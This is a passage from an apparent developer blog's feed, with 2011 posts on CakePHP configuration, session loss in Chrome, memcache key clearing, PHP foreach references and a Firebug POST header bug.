&lt;li&gt;You have to define a &lt;code&gt;define(&#39;DISABLE_DEFAULT_ERROR_HANDLING&#39;, true);&lt;/code&gt; in
order to disable the cake error handler and use the default PHP one&lt;/li&gt;
&lt;li&gt;This call MUST be done before your &lt;code&gt;Configure::write(&#39;debug&#39;)&lt;/code&gt; call otherwise
it won&#39;t work&lt;/li&gt;
&lt;li&gt;You also have to define a &lt;code&gt;Configure::write(&#39;log&#39;, E_ALL &amp;amp; ~E_DEPRECATED);&lt;/code&gt;
for this to work but...&lt;/li&gt;
&lt;li&gt;You can&#39;t define both the debug and the log value in the same call using an
array, you have to define them in two different calls &lt;code&gt;debug&lt;/code&gt; then &lt;code&gt;log&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So, finally, here is the final working configuration:&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;app/config/core.ph&lt;/code&gt;p:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Configure::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;log&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;E_ALL&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ~E_DEPRECATED&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;define&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;DISABLE_DEFAULT_ERROR_HANDLING&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And in &lt;code&gt;app/config/bootstrap.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;CakeLog::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;default&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;engine&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;SysLog&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Final words&lt;/h2&gt;
&lt;p&gt;I wrote this blog post because I got hit by this problem. Twice. I didn&#39;t
bloggued about it the first time, so a few weeks later when I had to change some
config values in my bootstrap.php and core.php I forgot about the specific order
of loading things. It took me a couple hours to figure it out again.&lt;/p&gt;
&lt;p&gt;So, to avoid running into the same issue some months from now, I took some time
to write it down, and hopefully I&#39;ll help some of you too.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Parsing error in cakePHP view for empty file</title>
    <link href="https://blog.pixelastic.com/2011/04/20/parsing-error-cakephp-view-empty-file/"/>
    <updated>2011-04-20T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/04/20/parsing-error-cakephp-view-empty-file</id>
    <content type="html">&lt;p&gt;As a convention, I never write the closing PHP tag at the end of my php files.
It helps in avoiding the &amp;quot;header already sent&amp;quot; error when dealing with
cookie/sessions.&lt;/p&gt;
&lt;p&gt;However, today cake complains about&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;Parse&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; error&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;syntax&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; error&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;unexpected&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $end&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; /&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;www&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;website&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;views&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;players&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;ctp&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; on&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; line&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My &lt;code&gt;default.ctp file&lt;/code&gt; only contain the following content:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It took me a couple of minutes to fix it. I only added an empty line after the
opening tag, so it now read:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;php&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first statement was a perfectly valid php file, but somehow it makes cakePHP
fail.&lt;/p&gt;
&lt;p&gt;I didn&#39;t have time to investigate on it further, nor submit a bug report
(because it may well be coming from my custom app, not cake itself) but I plan
to.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Losing session on each request with cakePHP and Chrome</title>
    <link href="https://blog.pixelastic.com/2011/04/13/losing-session-request-cakephp-chrome/"/>
    <updated>2011-04-13T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/04/13/losing-session-request-cakephp-chrome</id>
    <content type="html">&lt;p&gt;I finally found solution for one of the more tenacious bug I ever encountered.
Share the joy!&lt;/p&gt;
&lt;p&gt;I had a website working perfectly under Firefox but when browsing using Chrome,
I noticed that my Session gets regenerated on each page load. &lt;strong&gt;Constantly&lt;/strong&gt;.
Creating hundred and hundred of useless session files.&lt;/p&gt;
&lt;h2&gt;And only with Chrome.&lt;/h2&gt;
&lt;p&gt;Since when using a browser should change the server behavior? Well I don&#39;t
exactly know what Chrome is doing with the &lt;code&gt;referer&lt;/code&gt; but it seems that it is
altering it in some ways.&lt;/p&gt;
&lt;p&gt;And cakePHP forces the setting of &lt;code&gt;session.referer_check&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;, thus
checking that multiple requests with the same PHPSESSID comes from the same url.&lt;/p&gt;
&lt;p&gt;As one posted on php.net:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you have a value specified for session.referer_check you may run into
difficulty when someone accesses your site and attempts to log in with a mis-
capitalized URL.  The logon will fail because any calls to session_start()
will result in the existing session being trashed and a new one being created.
This becomes a bigger problem when the logon is followed by a
header(&amp;quot;Location: ...&amp;quot;) redirect, because the session_start() at the top of
the page will fail.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Those two settings combined, and you got a hell of a mess. I first found a quick
fix by forcing the setting of &lt;code&gt;session_start()&lt;/code&gt; in &lt;code&gt;app/webroot/index.php&lt;/code&gt;. But
after more [reading](http://www.nirvaat.com/blog
/web-development/session-issue-in-iis-with-cakephp/) and
&lt;a href=&quot;http://freetofeel.com/page15/&quot;&gt;debugging&lt;/a&gt; I finally found the culprit.&lt;/p&gt;
&lt;h2&gt;Hacking your way through the fix&lt;/h2&gt;
&lt;p&gt;There is no easy way to prevent cake from setting this setting, but you can
define your own session handler in the &lt;code&gt;Session.save&lt;/code&gt; configure key.&lt;/p&gt;
&lt;p&gt;Just create file named &lt;code&gt;session_custom.php&lt;/code&gt; in &lt;code&gt;app/config/&lt;/code&gt; and set
&lt;code&gt;Configure::write(&#39;Session.save&#39;, &#39;session_custom&#39;);&lt;/code&gt; in your &lt;code&gt;core.php&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;And in that file, just drop the following lines (copy/paste from
&lt;code&gt;cake_session.php&lt;/code&gt;)&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;ini_set&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;session.referer_check&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;                    // Killing this f***ing config that was causing so much trouble with Chrome&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;ini_set&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;session.use_trans_sid&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;                    // No session id in url&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;ini_set&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;session.name&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Configure::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Session.cookie&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;));&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // Using custom cookie name instead of PHPSESSID&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;ini_set&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;session.cookie_lifetime&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;cookieLifeTime&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // Cookie like time, depending on security level&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;ini_set&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;session.cookie_path&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;                // Cookie path&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Memcache keys not getting saved correctly</title>
    <link href="https://blog.pixelastic.com/2011/04/08/memcache-keys-save-correctly/"/>
    <updated>2011-04-08T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/04/08/memcache-keys-save-correctly</id>
    <content type="html">&lt;p&gt;&lt;em&gt;Update: We were initially blaming Memcache not correctly setting/getting keys.
We should instead have blamed him for being over-zealous in clearing its list.
See bottom of post for details.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Today we were having a bit of an issue with memcache. We had to write a thousand
keys into it, reading them from a JSON file.&lt;/p&gt;
&lt;p&gt;This code had been running happily on our server for the past two weeks. But as
the number of keys increased, we came to spot that some keys seemed to be
randomly cleared.&lt;/p&gt;
&lt;p&gt;After further investigation (and a lot of hours), it appears that the keys were
simply not set at all, or set to an empty/false value. This was really strange
because it occured inside a loop on our JSON file, and never occurs for the same
keys, nor everytime.&lt;/p&gt;
&lt;p&gt;We took our server under high stress, forcing it to reload data very often, to
trigger the bug once more. After a lot of test, we gather some more data, but
nothing really came out. The missed keys were really random.&lt;/p&gt;
&lt;p&gt;Finally, we decided to code a fast and dirty fix, until we found a better
solution. Basically, we simply checks that the value is correctly saved after
saving it, and if not, we retry. And we do so recursively.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; set&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$key&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$val&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$recursionLevel&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  Cache::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$key&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$val&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Cache::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$key&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$recursionLevel&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;die&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Possible infinite recursion);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;    $this-&gt;set($key, $val, $recursionLevel);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note, that this will not work if one of your values is defined as false,
otherwise you&#39;ll end up in an infinite loop.&lt;/p&gt;
&lt;h2&gt;Update&lt;/h2&gt;
&lt;p&gt;Well, the problem kept sporadically popping. And we finally found the REAL
culprit.&lt;/p&gt;
&lt;p&gt;Cake provides multiple &lt;code&gt;Cache&lt;/code&gt; config, using different settings. One would use a
special config to set different cache duration. Each setting would use a
different key prefix.&lt;/p&gt;
&lt;p&gt;Unfortunatly, memcache has no way of finding keys starting with a special
prefix. So when we do a &lt;code&gt;Cache::clear()&lt;/code&gt;, it just wipes clear the whole memcache
keys, no matter what config you specify.&lt;/p&gt;
&lt;p&gt;We were running two different websites using the same memcache server, and when
doing a clear on one website, it cleared keys on the second one as well.&lt;/p&gt;
&lt;p&gt;We finally started one memcache server per site.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Multiple foreach() with references in php</title>
    <link href="https://blog.pixelastic.com/2011/04/05/multiple-foreach-references-php/"/>
    <updated>2011-04-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/04/05/multiple-foreach-references-php</id>
    <content type="html">&lt;p&gt;It took me a couple of hours to debug: I had an array with values that shouldn&#39;t
be here, values from another part of the application, and I couldn&#39;t figure out
where that came from.&lt;/p&gt;
&lt;p&gt;Well, it turns it was part of a documented feature of PHP:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Unless the array is referenced, foreach operates on a copy of the specified
array and not the array itself. foreach has some side effects on the array
pointer. Don&#39;t rely on the array pointer during or after the foreach without
resetting it. Reference of a $value and the last array element remain even
after the foreach loop. It is recommended to destroy it by unset().php.net&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;My code was as simple as:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$newArray&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$newArray2&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;foreach&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$list&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; as&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $key&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$data&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $newArray&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $data&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;foreach&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$list2&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; as&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $key&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$data&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $newArray2&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $data&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This resulted in the latest index of &lt;code&gt;$newArray&lt;/code&gt; being set to one of &lt;code&gt;$list2&lt;/code&gt;
values (didn&#39;t know exactly which). This is really counter intuitive.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Firebug 1.7 moving headers to raw POST source</title>
    <link href="https://blog.pixelastic.com/2011/04/04/firebug-1-7-moving-headers-raw-post-source/"/>
    <updated>2011-04-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/04/04/firebug-1-7-moving-headers-raw-post-source</id>
    <content type="html">&lt;p&gt;&lt;em&gt;Edit: The issue discussed here has been fixed in
&lt;a href=&quot;http://getfirebug.com/releases/firebug/1.9/firebug-1.9.0a2.xpi&quot;&gt;Firebug 1.9a2&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;It took me a whole day to track this bug down. At first I thought something was
wrong in my request, I tried to replay it using Firebug and I kept hitting a
&amp;quot;malformed request&amp;quot; error.&lt;/p&gt;
&lt;p&gt;Debugging it in reverse order, using Wireshark and other tools I finally came to
the conclusion that my request was indeed valid.&lt;/p&gt;
&lt;h2&gt;So what?&lt;/h2&gt;
&lt;p&gt;The guilty part was indeed Firebug. When I ran a simple &lt;code&gt;POST&lt;/code&gt; request from
Flash, and inspect it from Firebug, I could spot that no &lt;code&gt;Content-Length&lt;/code&gt; nor
&lt;code&gt;Content-Type&lt;/code&gt; headers were displayed in the &amp;quot;Headers&amp;quot; part. I then saw that the
&amp;quot;source&amp;quot; part of the &lt;code&gt;POST&lt;/code&gt; tab contains my missing headers. What was that ?&lt;/p&gt;
&lt;p&gt;HTTP POST Request are supposed to be split into two parts. First part are the
headers, each separated by a &lt;code&gt;&#92;r&#92;n&lt;/code&gt;. Then, after and empty line was the &lt;code&gt;POST&lt;/code&gt;
raw content. Seeing that my headers gets mixed up with the&lt;code&gt;POST&lt;/code&gt;data I thought
that the request was malformed and a &lt;code&gt;&#92;r&#92;n&lt;/code&gt; was added too early.&lt;/p&gt;
&lt;p&gt;I checked with Wireshark and with PHP on the back end, and no, the request was
indeed absolutly valid. Wireshark did not show any &lt;code&gt;&#92;r&#92;n&lt;/code&gt; that shouldn&#39;t be
there and PHP correctly parsed my request. The only issue was the details
displayed by Firebug.&lt;/p&gt;
&lt;h2&gt;So it&#39;s a display bug? I can live with it.&lt;/h2&gt;
&lt;p&gt;Well, actually, it&#39;s a little more than just a display bug. It kind of blocks my
usual debugging workflow.&lt;/p&gt;
&lt;p&gt;To debug an XHR request, I don&#39;t usually restart the whole page request just to
debug one of the inner request.&lt;/p&gt;
&lt;p&gt;The Firebug ability to &amp;quot;open request in new tab&amp;quot; is a time saver for me. I can
play and replay the same request over and over until it&#39;s debuggued.&lt;/p&gt;
&lt;p&gt;But with this bug, I can&#39;t use this feature. Opening the request in new tab will
not send the slipped headers, and will instead send them in the &lt;code&gt;POST&lt;/code&gt; source,
resulting in a corrupted posted data.&lt;/p&gt;
&lt;p&gt;I&#39;ve &lt;a href=&quot;http://code.google.com/p/fbug/issues/detail?id=4327&quot;&gt;posted an issue&lt;/a&gt; on
the Firebug bug tracker. I hope it will get resolved soon. Until then, I&#39;m using
Live HTTP Headers to capture and replay the requests I need to debug.&lt;/p&gt;
&lt;h2&gt;Update&lt;/h2&gt;
